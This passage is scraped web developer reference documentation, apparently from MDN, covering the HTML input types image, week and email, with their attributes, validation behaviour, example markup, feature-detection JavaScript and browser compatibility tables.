id="image" type="image" src="https://raw.githubusercontent.com/mdn/learning-area/master/html/forms/image-type-example/login.png" alt="Login" width="100" /> </div> </form> ``` #### CSS And now some simple CSS to make the basic elements sit more neatly: ``` div { margin-bottom: 10px; } label { display: inline-block; width: 70px; text-align: right; padding-right: 10px; } ``` ### Adjusting the image position and scaling In this example, we adapt the previous example to set aside more space for the image and then adjust the actual image's size and positioning using [`object-fit`](https://developer.mozilla.org/en-US/docs/Web/CSS/object-fit) and [`object-position`](https://developer.mozilla.org/en-US/docs/Web/CSS/object-position). #### HTML ``` <form> <p>Login to your account</p> <div> <label for="userId">User ID</label> <input type="text" id="userId" name="userId" /> </div> <div> <label for="pwd">Password</label> <input type="password" id="pwd" name="pwd" /> </div> <div> <input id="image" type="image" src="https://raw.githubusercontent.com/mdn/learning-area/master/html/forms/image-type-example/login.png" alt="Login" width="200" height="100" /> </div> </form> ``` #### CSS ``` div { margin-bottom: 10px; } label { display: inline-block; width: 70px; text-align: right; padding-right: 10px; } #image { object-position: right top; object-fit: contain; background-color: #ddd; } ``` Here, `object-position` is configured to draw the image in the top-right corner of the element, while `object-fit` is set to `contain`, which indicates that the image should be drawn at the largest size that will fit within the element's box without altering its aspect ratio. Note the visible grey background of the element still visible in the area not covered by the image. Technical summary ----------------- | | | | --- | --- | | **[Value](#value)** | None — the `value` attribute should not be specified. | | **Events** | None. | | **Supported common attributes** | [`alt`](../input#alt), [`src`](../input#src), [`width`](../input#width), [`height`](../input#height), [`formaction`](../input#formaction), [`formenctype`](../input#formenctype), [`formmethod`](../input#formmethod), [`formnovalidate`](../input#formmethod), [`formtarget`](../input#formtarget) | | **IDL attributes** | None. | | **DOM interface** | [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) | | **Methods** | None. | Specifications -------------- | Specification | | --- | | [HTML Standard # image-button-state-(type=image)](https://html.spec.whatwg.org/multipage/input.html#image-button-state-(type=image)) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `image` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | No | Yes | Yes | Yes | No | See also -------- * [`<input>`](../input) and the [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) interface which implements it. * The HTML [`<img>`](../img) element * Positioning and sizing the image within the `<input>` element's frame: [`object-position`](https://developer.mozilla.org/en-US/docs/Web/CSS/object-position) and [`object-fit`](https://developer.mozilla.org/en-US/docs/Web/CSS/object-fit) * [Compatibility of CSS properties](https://developer.mozilla.org/en-US/docs/Learn/Forms/Property_compatibility_table_for_form_controls) html <input type="week"> <input type="week"> =================== [`<input>`](../input) elements of type `week` create input fields allowing easy entry of a year plus the [ISO 8601 week number](https://en.wikipedia.org/wiki/ISO_8601#Week_dates) during that year (i.e., week 1 to [52 or 53](https://en.wikipedia.org/wiki/ISO_8601#Week_dates)). Try it ------ The control's user interface varies from browser to browser; cross-browser support is currently a bit limited, with only Chrome/Opera and Microsoft Edge supporting it at this time. In non-supporting browsers, the control degrades gracefully to function identically to [`<input type="text">`](text). In Chrome/Opera the `week` control provides slots to fill in week and year values, a pop-up calendar interface to select them more visually, and an "X" button to clear the control's value. The Edge `week` control is somewhat more elaborate, opening up week and year pickers with sliding reels. Value ----- A string representing the value of the week/year entered into the input. The format of the date and time value used by this input type is described in [Format of a valid week string](../../date_and_time_formats#format_of_a_valid_week_string) in [Date and time formats used in HTML](../../date_and_time_formats). You can set a default value for the input by including a value inside the [`value`](../input#attr-value) attribute, like so: ``` <label for="week">What week would you like to start?</label> <input id="week" type="week" name="week" value="2017-W01" /> ``` One thing to note is that the displayed format may differ from the actual `value`, which is always formatted `yyyy-Www`. When the above value is submitted to the server, for example, browsers may display it as `Week 01, 2017`, but the submitted value will always look like `week=2017-W01`. You can also get and set the value in JavaScript using the input element's `value` property, for example: ``` const weekControl = document.querySelector('input[type="week"]'); weekControl.value = '2017-W45'; ``` Additional attributes --------------------- In addition to the attributes common to [`<input>`](../input) elements, week inputs offer the following attributes. ### max The latest (time-wise) year and week number, in the string format discussed in the [Value](#value) section above, to accept. If the [`value`](../input#attr-value) entered into the element exceeds this, the element fails [constraint validation](../../constraint_validation). If the value of the `max` attribute isn't a valid week string, then the element has no maximum value. This value must be greater than or equal to the year and week specified by the `min` attribute. ### min The earliest year and week to accept. If the [`value`](../input#attr-value) of the element is less than this, the element fails [constraint validation](../../constraint_validation). If a value is specified for `min` that isn't a valid week string, the input has no minimum value. This value must be less than or equal to the value of the `max` attribute. ### readonly A Boolean attribute which, if present, means this field cannot be edited by the user. Its `value` can, however, still be changed by JavaScript code directly setting the [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) `value` property. **Note:** Because a read-only field cannot have a value, `required` does not have any effect on inputs with the `readonly` attribute also specified. ### step The `step` attribute is a number that specifies the granularity that the value must adhere to, or the special value `any`, which is described below. Only values which are equal to the basis for stepping ([`min`](#min) if specified, [`value`](../input#attr-value) otherwise, and an appropriate default value if neither of those is provided) are valid. A string value of `any` means that no stepping is implied, and any value is allowed (barring other constraints, such as [`min`](#min) and [`max`](#max)). **Note:** When the data entered by the user doesn't adhere to the stepping configuration, the [user agent](https://developer.mozilla.org/en-US/docs/Glossary/User_agent) may round to the nearest valid value, preferring numbers in the positive direction when there are two equally close options. For `week` inputs, the value of `step` is given in weeks, with a scaling factor of 604,800,000 (since the underlying numeric value is in milliseconds). The default value of `step` is 1, indicating 1week. The default stepping base is -259,200,000, which is the beginning of the first week of 1970 (`"1970-W01"`). *At this time, it's unclear what a value of `"any"` means for `step` when used with `week` inputs. This will be updated as soon as that information is determined.* Using week inputs ----------------- Week inputs sound convenient at first glance, since they provide an easy UI for choosing weeks, and they normalize the data format sent to the server, regardless of the user's browser or locale. However, there are issues with `<input type="week">` because browser support is not guaranteed across all browsers. We'll look at basic and more complex uses of `<input type="week">`, then offer advice on mitigating the browser support issue later on (see [Handling browser support](#handling_browser_support)). ### Basic uses of week The simplest use of `<input type="week">` involves a basic `<input>` and [`<label>`](../label) element combination, as seen below: ``` <form> <label for="week">What week would you like to start?</label> <input id="week" type="week" name="week" /> </form> ``` ### Controlling input size `<input type="week">` doesn't support form sizing attributes such as [`size`](../input#attr-size). You'll have to resort to [CSS](https://developer.mozilla.org/en-US/docs/Web/CSS) for sizing needs. ### Using the step attribute You should be able to use the [`step`](../input#attr-step) attribute to vary the number of weeks jumped whenever they are incremented or decremented, however it doesn't seem to have any effect on supporting browsers. Validation ---------- By default, `<input type="week">` does not apply any validation to entered values. The UI implementations generally don't let you specify anything that isn't a valid week/year, which is helpful, but it's still possible to submit with the field empty, and you might want to restrict the range of choosable weeks. ### Setting maximum and minimum weeks You can use the [`min`](../input#attr-min) and [`max`](../input#attr-max) attributes to restrict the valid weeks that can be chosen by the user. In the following example we are setting a minimum value of `Week 01, 2017` and a maximum value of `Week 52, 2017`: ``` <form> <label for="week">What week would you like to start?</label> <input id="week" type="week" name="week" min="2017-W01" max="2017-W52" /> <span class="validity"></span> </form> ``` Here's the CSS used in the above example. Here we make use of the [`:valid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:valid) and [`:invalid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:invalid) CSS properties to style the input based on whether the current value is valid. We had to put the icons on a [`<span>`](../span) next to the input, not on the input itself, because in Chrome the generated content is placed inside the form control, and can't be styled or shown effectively. ``` div { margin-bottom: 10px; position: relative; } input[type="number"] { width: 100px; } input + span { padding-right: 30px; } input:invalid + span::after { position: absolute; content: "✖"; padding-left: 5px; } input:valid + span::after { position: absolute; content: "✓"; padding-left: 5px; } ``` The result here is that only weeks between W01 and W52 in 2017 will be seen as valid and be selectable in supporting browsers. ### Making week values required In addition you can use the [`required`](../input#attr-required) attribute to make filling in the week mandatory. As a result, supporting browsers will display an error if you try to submit an empty week field. Let's look at an example; here we've set minimum and maximum weeks, and also made the field required: ``` <form> <div> <label for="week">What week would you like to start?</label> <input id="week" type="week" name="week" min="2017-W01" max="2017-W52" required /> <span class="validity"></span> </div> <div> <input type="submit" value="Submit form" /> </div> </form> ``` If you try to submit the form with no value, the browser displays an error. Try playing with the example now: Here is a screenshot for those of you who aren't using a supporting browser: **Warning:** HTML form validation is *not* a substitute for scripts that ensure that the entered data is in the proper format. It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it entirely. It's also possible for someone to bypass your HTML entirely and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data is submitted (or data which is too large, of the wrong type, and so forth). Handling browser support ------------------------ As mentioned above, the major problem with using week inputs right now is browser support: Safari and Firefox don't support it on desktop, and old versions of IE don't support it. Mobile platforms such as Android and iOS make perfect use of such input types, providing specialist UI controls that make it really easy to select values in a touchscreen environment. For example, the `week` picker on Chrome for Android looks like this: Non-supporting browsers gracefully degrade to a text input, but this creates problems both in terms of consistency of user interface (the presented control will be different), and data handling. The second problem is the more serious. As mentioned earlier, with a `week` input the actual value is always normalized to the format `yyyy-Www`. When the browser falls back to a generic text input, there's nothing to guide the user toward correctly formatting the input (and it's certainly not intuitive). There are multiple ways in which people could write week values; for example: * `Week 1 2017` * `Jan 2-8 2017` * `2017-W01` * etc. The best way to deal with week/years in forms in a cross-browser way at the moment is to get the user to enter the week number and year in separate controls ([`<select>`](../select) elements being popular; see below for an example), or use JavaScript libraries such as [jQuery date picker](https://jqueryui.com/datepicker/). Examples -------- In this example we create two sets of UI elements for choosing weeks: a native picker created using `<input type="week">`, and a set of two [`<select>`](../select) elements for choosing weeks/years in older browsers that don't support the `week` input type. The HTML looks like so: ``` <form> <div class="nativeWeekPicker"> <label for="week">What week would you like to start?</label> <input id="week" type="week" name="week" min="2017-W01" max="2018-W52" required /> <span class="validity"></span> </div> <p class="fallbackLabel">What week would you like to start?</p> <div class="fallbackWeekPicker"> <div> <span> <label for="week">Week:</label> <select id="fallbackWeek" name="week"></select> </span> <span> <label for="year">Year:</label> <select id="year" name="year"> <option value="2017" selected>2017</option> <option value="2018">2018</option> </select> </span> </div> </div> </form> ``` The week values are dynamically generated by the JavaScript code below. The other part of the code that may be of interest is the feature detection code. To detect whether the browser supports `<input type="week">`, we create a new [`<input>`](../input) element, try setting its `type` to `week`, then immediately check what its `type` is set to. Non-supporting browsers will return `text`, because the `week` type falls back to type `text`. If `<input type="week">` is not supported, we hide the native picker and show the fallback picker UI ([`<select>`](../select)s) instead. ``` // Get UI elements const nativePicker = document.querySelector('.nativeWeekPicker'); const fallbackPicker = document.querySelector('.fallbackWeekPicker'); const fallbackLabel = document.querySelector('.fallbackLabel'); const yearSelect = document.querySelector('#year'); const weekSelect = document.querySelector('#fallbackWeek'); // Hide fallback initially fallbackPicker.style.display = 'none'; fallbackLabel.style.display = 'none'; // Test whether a new date input falls back to a text input or not const test = document.createElement('input'); try { test.type = 'week'; } catch (e) { console.log(e.description); } // If it does, run the code inside the if () {} block if ( test.type === 'text') { // Hide the native picker and show the fallback nativePicker.style.display = 'none'; fallbackPicker.style.display = 'block'; fallbackLabel.style.display = 'block'; // populate the weeks dynamically populateWeeks(); } function populateWeeks() { // Populate the week select with 52 weeks for (let i = 1; i <= 52; i++) { const option = document.createElement('option'); option.textContent = (i < 10) ? `0${i}` : i; weekSelect.appendChild(option); } } ``` **Note:** Remember that some years have 53 weeks in them (see [Weeks per year](https://en.wikipedia.org/wiki/ISO_week_date#Weeks_per_year))! You'll need to take this into consideration when developing production apps. Technical summary ----------------- | | | | --- | --- | | **[Value](#value)** | A string representing a week and year, or empty | | **Events** | [`change`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/change_event) and [`input`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event) | | **Supported common attributes** | [`autocomplete`](../input#attr-autocomplete), [`list`](../input#attr-list), [`readonly`](../input#attr-readonly), and [`step`](../input#attr-step) | | **IDL attributes** | `value`, `valueAsDate`, `valueAsNumber`, and `list`. | | **DOM interface** | [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) | | **Methods** | [`select()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/select), [`stepDown()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/stepDown), and [`stepUp()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/stepUp) | Specifications -------------- | Specification | | --- | | [HTML Standard # week-state-(type=week)](https://html.spec.whatwg.org/multipage/input.html#week-state-(type=week)) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `week` | 20 | 12 | No See [bug 888320](https://bugzil.la/888320). | No | 11 | No See [bug 200416](https://webkit.org/b/200416). | Yes | Yes | 18 | Yes | No See [bug 200416](https://webkit.org/b/200416). | Yes | See also -------- * The generic [`<input>`](../input) element and the interface used to manipulate it, [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) * [Date and time formats used in HTML](../../date_and_time_formats) * [`<input type="datetime-local">`](datetime-local), [`<input type="date">`](date), [`<input type="time">`](time), and [`<input type="month">`](month) * [Compatibility of CSS properties](https://developer.mozilla.org/en-US/docs/Learn/Forms/Property_compatibility_table_for_form_controls)
programming_docs
html <input type="email"> <input type="email"> ==================== [`<input>`](../input) elements of type `email` are used to let the user enter and edit an email address, or, if the [`multiple`](../../attributes/multiple) attribute is specified, a list of email addresses. Try it ------ The input value is automatically validated to ensure that it's either empty or a properly-formatted email address (or list of addresses) before the form can be submitted. The [`:valid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:valid) and [`:invalid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:invalid) CSS pseudo-classes are automatically applied as appropriate to visually denote whether the current value of the field is a valid email address or not. Value ----- The [`<input>`](../input) element's [`value`](../input#attr-value) attribute contains a string which is automatically validated as conforming to email syntax. More specifically, there are three possible value formats that will pass validation: 1. An empty string ("") indicating that the user did not enter a value or that the value was removed. 2. A single properly-formed email address. This doesn't necessarily mean the email address exists, but it is at least formatted correctly. In simple terms, this means `username@domain` or `[email protected]`. There's more to it than that, of course; see [Validation](#validation) for a [regular expression](https://developer.mozilla.org/en-US/docs/Glossary/Regular_expression) that matches the email address validation algorithm. 3. If and only if the [`multiple`](../input#attr-multiple) attribute is specified, the value can be a list of properly-formed comma-separated email addresses. Any trailing and leading whitespace is removed from each address in the list. See [Validation](#validation) for details on how email addresses are validated to ensure that they're formatted properly. Additional attributes --------------------- In addition to the attributes that operate on all [`<input>`](../input) elements regardless of their type, `email` inputs support the following attributes. ### list The values of the list attribute is the [`id`](https://developer.mozilla.org/en-US/docs/Web/API/Element/id) of a [`<datalist>`](../datalist) element located in the same document. The [`<datalist>`](../datalist) provides a list of predefined values to suggest to the user for this input. Any values in the list that are not compatible with the [`type`](../input#attr-type) are not included in the suggested options. The values provided are suggestions, not requirements: users can select from this predefined list or provide a different value. ### maxlength The maximum number of characters (as UTF-16 code units) the user can enter into the `email` input. This must be an integer value 0 or higher. If no `maxlength` is specified, or an invalid value is specified, the `email` input has no maximum length. This value must also be greater than or equal to the value of `minlength`. The input will fail [constraint validation](../../constraint_validation) if the length of the text value of the field is greater than `maxlength` UTF-16 code units long. Constraint validation is only applied when the value is changed by the user. ### minlength The minimum number of characters (as UTF-16 code units) the user can enter into the `email` input. This must be a non-negative integer value smaller than or equal to the value specified by `maxlength`. If no `minlength` is specified, or an invalid value is specified, the `email` input has no minimum length. The input will fail [constraint validation](../../constraint_validation) if the length of the text entered into the field is fewer than `minlength` UTF-16 code units long. Constraint validation is only applied when the value is changed by the user. ### multiple A Boolean attribute which, if present, indicates that the user can enter a list of multiple email addresses, separated by commas and, optionally, whitespace characters. See [Allowing multiple email addresses](#allowing_multiple_email_addresses) for an example, or [HTML attribute: multiple](../../attributes/multiple) for more details. **Note:** Normally, if you specify the [`required`](../input#attr-required) attribute, the user must enter a valid email address for the field to be considered valid. However, if you add the `multiple` attribute, a list of zero email addresses (an empty string, or one which is entirely whitespace) is a valid value. In other words, the user does not have to enter even one email address when `multiple` is specified, regardless of the value of `required`. ### pattern The `pattern` attribute, when specified, is a regular expression that the input's [`value`](../../global_attributes#value) must match in order for the value to pass [constraint validation](../../constraint_validation). It must be a valid JavaScript regular expression, as used by the [`RegExp`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp) type, and as documented in our [guide on regular expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions); the `'u'` flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of Unicode code points, instead of as ASCII. No forward slashes should be specified around the pattern text. If the specified pattern is not specified or is invalid, no regular expression is applied and this attribute is ignored completely. **Note:** Use the [`title`](../input#attr-title) attribute to specify text that most browsers will display as a tooltip to explain what the requirements are to match the pattern. You should also include other explanatory text nearby. See the section [Pattern validation](#pattern_validation) for details and an example. ### `placeholder` The `placeholder` attribute is a string that provides a brief hint to the user as to what kind of information is expected in the field. It should be a word or short phrase that demonstrates the expected type of data, rather than an explanatory message. The text *must not* include carriage returns or line feeds. If the control's content has one directionality ([LTR](https://developer.mozilla.org/en-US/docs/Glossary/LTR) or [RTL](https://developer.mozilla.org/en-US/docs/Glossary/RTL)) but needs to present the placeholder in the opposite directionality, you can use Unicode bidirectional algorithm formatting characters to override directionality within the placeholder; see [How to use Unicode controls for bidi text](https://www.w3.org/International/questions/qa-bidi-unicode-controls) for more information. **Note:** Avoid using the `placeholder` attribute if you can. It is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your content. See [Labels and placeholders](../input#labels_and_placeholders) in [<input>: The Input (Form Input) element](../input) for more information. ### `readonly` A Boolean attribute which, if present, means this field cannot be edited by the user. Its `value` can, however, still be changed by JavaScript code directly setting the [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) `value` property. **Note:** Because a read-only field cannot have a value, `required` does not have any effect on inputs with the `readonly` attribute also specified. ### `size` The `size` attribute is a numeric value indicating how many characters wide the input field should be. The value must be a number greater than zero, and the default value is 20. Since character widths vary, this may or may not be exact and should not be relied upon to be so; the resulting input may be narrower or wider than the specified number of characters, depending on the characters and the font ([`font`](https://developer.mozilla.org/en-US/docs/Web/CSS/font) settings in use). This does *not* set a limit on how many characters the user can enter into the field. It only specifies approximately how many can be seen at a time. To set an upper limit on the length of the input data, use the [`maxlength`](#maxlength) attribute. Using email inputs ------------------ Email addresses are among the most frequently-inputted textual data forms on the web; they're used when logging into websites, when requesting information, to allow order confirmation, for webmail, and so forth. As such, the `email` input type can make your job as a web developer much easier since it can help simplify your work when building the user interface and logic for email addresses. When you create an email input with the proper `type` value, `email`, you get automatic validation that the entered text is at least in the correct form to potentially be a legitimate email address. This can help avoid cases in which the user mistypes their address, or provides an invalid address. It's important, however, to note that this is not enough to ensure that the specified text is an email address which actually exists, corresponds to the user of the site, or is acceptable in any other way. It ensures that the value of the field is properly formatted to be an email address. **Note:** It's also crucial to remember that a user can tinker with your HTML behind the scenes, so your site *must not* use this validation for any security purposes. You *must* verify the email address on the server side of any transaction in which the provided text may have any security implications of any kind. ### A simple email input Currently, all browsers which implement this element implement it as a standard text input field with basic validation features. The specification does, however, allow browsers latitude on this. For example, the element could be integrated with the user's device's built-in address book to allow picking email addresses from that list. In its most basic form, an `email` input can be implemented like this: ``` <input id="emailAddress" type="email" /> ``` Notice that it's considered valid when empty and when a single validly-formatted email address is entered, but is otherwise not considered valid. By adding the [`required`](../input#attr-required) attribute, only validly-formed email addresses are allowed; the input is no longer considered valid when empty. ### Allowing multiple email addresses By adding the [`multiple`](../../attributes/multiple) Boolean attribute, the input can be configured to accept multiple email addresses. ``` <input id="emailAddress" type="email" multiple /> ``` The input is now considered valid when a single email address is entered, or when any number of email addresses separated by commas and, optionally, some number of whitespace characters are present. **Note:** When `multiple` is used, the value *is* allowed to be empty. Some examples of valid strings when `multiple` is specified: * `""` * `"me@example"` * `"[email protected]"` * `"[email protected],[email protected]"` * `"[email protected], [email protected]"` * `"[email protected],[email protected], [email protected]"` Some examples of invalid strings: * `","` * `"me"` * `"[email protected] [email protected]"` ### Placeholders Sometimes it's helpful to offer an in-context hint as to what form the input data should take. This can be especially important if the page design doesn't offer descriptive labels for each [`<input>`](../input). This is where **placeholders** come in. A placeholder is a value that demonstrates the form the `value` should take by presenting an example of a valid value, which is displayed inside the edit box when the element's `value` is "". Once data is entered into the box, the placeholder disappears; if the box is emptied, the placeholder reappears. Here, we have an `email` input with the placeholder `[email protected]`. Note how the placeholder disappears and reappears as you manipulate the contents of the edit field. ``` <input type="email" placeholder="[email protected]" /> ``` ### Controlling the input size You can control not only the physical length of the input box, but also the minimum and maximum lengths allowed for the input text itself. #### Physical input element size The physical size of the input box can be controlled using the [`size`](../input#attr-size) attribute. With it, you can specify the number of characters the input box can display at a time. In this example the `email` edit box is 15 characters wide: ``` <input type="email" size="15" /> ``` #### Element value length The `size` is separate from the length limitation on the entered email address itself so that you can have fields fit in a small space while still allowing longer email address strings to be entered. You can specify a minimum length, in characters, for the entered email address using the [`minlength`](../input#attr-minlength) attribute; similarly, use [`maxlength`](../input#attr-maxlength) to set the maximum length of the entered email address. The example below creates a 32 character-wide email address entry box, requiring that the contents be no shorter than 3 characters and no longer than 64 characters. ``` <input type="email" size="32" minlength="3" maxlength="64" /> ``` ### Providing default options #### Providing a single default using the value attribute As always, you can provide a default value for an `email` input box by setting its [`value`](../input#attr-value) attribute: ``` <input type="email" value="[email protected]" /> ``` #### Offering suggested values Taking it a step further, you can provide a list of default options from which the user can select by specifying the [`list`](../input#attr-list) attribute. This doesn't limit the user to those options, but does allow them to select commonly-used email addresses more quickly. This also offers hints to [`autocomplete`](../input#attr-autocomplete). The `list` attribute specifies the ID of a [`<datalist>`](../datalist), which in turn contains one [`<option>`](../option) element per suggested value; each `option`'s `value` is the corresponding suggested value for the email entry box. ``` <input type="email" size="40" list="defaultEmails" /> <datalist id="defaultEmails"> <option value="[email protected]"></option> <option value="[email protected]"></option> <option value="[email protected]"></option> <option value="[email protected]"></option> <option value="[email protected]"></option> </datalist> ``` With the [`<datalist>`](../datalist) element and its [`<option>`](../option)s in place, the browser will offer the specified values as potential values for the email address; this is typically presented as a popup or drop-down menu containing the suggestions. While the specific user experience may vary from one browser to another, typically clicking in the edit box presents a drop-down of the suggested email addresses. Then, as the user types, the list is filtered to show only matching values. Each typed character narrows down the list until the user makes a selection or types a custom value. Validation ---------- There are two levels of content validation available for `email` inputs. First, there's the standard level of validation offered to all [`<input>`](../input)s, which automatically ensures that the contents meet the requirements to be a valid email address. But there's also the option to add additional filtering to ensure that your own specialized needs are met, if you have any. **Warning:** HTML form validation is *not* a substitute for scripts that ensure that the entered data is in the proper format.It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it completely. It's also possible for someone to bypass your HTML entirely and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data (or data which is too large, is of the wrong type, and so forth) is entered into your database. ### Basic validation Browsers automatically provide validation to ensure that only text that matches the standard format for Internet email addresses is entered into the input box. Browsers use an algorithm equivalent to the following regular expression: ``` /^[a-zA-Z0-9.!#$%&'\*+/=?^\_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)\*$/ ``` To learn more about how form validation works and how to take advantage of the [`:valid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:valid) and [`:invalid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:invalid) CSS properties to style the input based on whether the current value is valid, see [Form data validation](https://developer.mozilla.org/en-US/docs/Learn/Forms/Form_validation). **Note:** There are known specification issues related to international domain names and the validation of email addresses in HTML. See [W3C bug 15489](https://www.w3.org/Bugs/Public/show_bug.cgi?id=15489) for details. ### Pattern validation If you need the entered email address to be restricted further than just "any string that looks like an email address," you can use the [`pattern`](../input#attr-pattern) attribute to specify a [regular expression](https://developer.mozilla.org/en-US/docs/Glossary/Regular_expression) the value must match for it to be valid. If the [`multiple`](../input#attr-multiple) attribute is specified, each individual item in the comma-delineated list of values must match the [regular expression](https://developer.mozilla.org/en-US/docs/Glossary/Regular_expression). For example, let's say you're building a page for employees of Best Startup Ever, Inc. which will let them contact their IT department for help. In our simplified form, the user needs to enter their email address and a message describing the problem they need help with. We want to ensure that not only does the user provide a valid email address, but for security purposes, we require that the address be an internal corporate email address. Since inputs of type `email` validate against both the standard email address validation *and* the specified [`pattern`](../input#attr-pattern), you can implement this easily. Let's see how: ``` <form> <div class="emailBox"> <label for="emailAddress">Your email address</label><br /> <input id="emailAddress" type="email" size="64" maxlength="64" required placeholder="[email protected]" pattern=".+@beststartupever\.com" title="Please provide only a Best Startup Ever corporate email address" /> </div> <div class="messageBox"> <label for="message">Request</label><br /> <textarea id="message" cols="80" rows="8" required placeholder="My shoes are too tight, and I have forgotten how to dance."></textarea> </div> <input type="submit" value="Send Request" /> </form> ``` Our [`<form>`](../form) contains one [`<input>`](../input) of type `email` for the user's email address, a [`<textarea>`](../textarea) to enter their message for IT into, and an `<input>` of type [`"submit"`](submit), which creates a button to submit the form. Each text entry box has a [`<label>`](../label) associated with it to let the user know what's expected of them. Let's take a closer look at the email address entry box. Its [`size`](../input#attr-size) and [`maxlength`](../input#attr-maxlength) attributes are both set to 64 in order to show room for 64 characters worth of email address, and to limit the number of characters actually entered to a maximum of 64. The [`required`](../input#attr-required) attribute is specified, making it mandatory that a valid email address be provided. An appropriate [`placeholder`](../input#attr-placeholder) is provided—`[email protected]`—to demonstrate what constitutes a valid entry. This string demonstrates both that an email address should be entered, and suggests that it should be a corporate beststartupever.com account. This is in addition to the fact that using type `email` will validate the text to ensure that it's formatted like an email address. If the text in the input box isn't an email address, you'll get an error message that looks something like this: If we left things at that, we would at least be validating on legitimate email addresses. But we want to go one step farther: we want to make sure that the email address is in fact in the form "[\_username\[email protected]](mailto:[email protected])". This is where we'll use [`pattern`](../input#attr-pattern). We set `pattern` to `[email protected]`. This simple regular expression requests a string that consists of at least one character of any kind, then an "@" followed by the domain name "beststartupever.com". Note that this is not even close to an adequate filter for valid email addresses; it would allow things such as " @beststartupever.com" (note the leading space) or "@@beststartupever.com", neither of which is valid. However, the browser runs both the standard email address filter *and* our custom pattern against the specified text. As a result, we wind up with a validation which says "make sure this resembles a valid email address, and if it is, make sure it's also a beststartupever.com address." It's advisable to use the [`title`](../../global_attributes#title) attribute along with `pattern`. If you do, the `title` *must* describe the pattern. That is, it should explain what format the data should take on, rather than any other information. That's because the `title` may be displayed or spoken as part of a validation error message. For example, the browser might present the message "The entered text doesn't match the required pattern." followed by your specified `title`. If your `title` is something like "Email address", the result would be the message "The entered text doesn't match the required pattern. Email address", which isn't very good. That's why, instead, we specify the string "Please provide only a Best Startup Ever corporate email address" By doing that, the resulting full error message might be something like "The entered text doesn't match the required pattern. Please provide only a Best Startup Ever corporate email address." **Note:** If you run into trouble while writing your validation regular expressions and they're not working properly, check your browser's console; there may be helpful error messages there to aid you in solving the problem. Examples -------- Here we have an email input with the ID `emailAddress` which is allowed to be up to a maximum of 256 characters long. The input box itself is physically 64 characters wide, and displays the text `[email protected]` as a placeholder anytime the field is empty. In addition, by using the [`multiple`](../../attributes/multiple) attribute, the box is configured to allow the user to enter zero or more email addresses, separated by commas, as described in [Allowing multiple email addresses](#allowing_multiple_email_addresses). As a final touch, the [`list`](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/list) attribute contains the ID of a [`<datalist>`](../datalist) whose [`<option>`](../option)s specify a set of suggested values the user can choose from. As an added touch, the [`<label>`](../label) element is used to establish a label for the email entry box, with its [`for`](../label#attr-for) attribute referencing the `emailAddress` ID of the [`<input>`](../input) element. By associating the two elements in this way, clicking on the label will focus the input element. ``` <label for="emailAddress">Email</label><br /> <input id="emailAddress" type="email" placeholder="[email protected]" list="defaultEmails" size="64" maxlength="256" multiple /> <datalist id="defaultEmails"> <option value="[email protected]"></option> <option value="[email protected]"></option> <option value="[email protected]"></option> <option value="[email protected]"></option> <option value="[email protected]"></option> </datalist> ``` Technical Summary ----------------- | | | | --- | --- | | **[Value](#value)** | A string representing an email address, or empty | | **Events** | [`change`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/change_event) and [`input`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event) | | **Supported Common Attributes** | [`autocomplete`](../input#attr-autocomplete), [`list`](../input#attr-list), [`maxlength`](../input#attr-maxlength), [`minlength`](../input#attr-minlength), [`multiple`](../input#attr-multiple), [`name`](../input#attr-name), [`pattern`](../input#attr-pattern), [`placeholder`](../input#attr-placeholder), [`readonly`](../input#attr-readonly), [`required`](../input#attr-required), [`size`](../input#attr-size), and [`type`](../input#attr-type) | | **IDL attributes** | `list` and `value` | | **DOM interface** | [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) | | **Methods** | [`select()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/select) | Specifications -------------- | Specification | | --- | | [HTML Standard # email-state-(type=email)](https://html.spec.whatwg.org/multipage/input.html#email-state-(type=email)) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `email` | 5 | 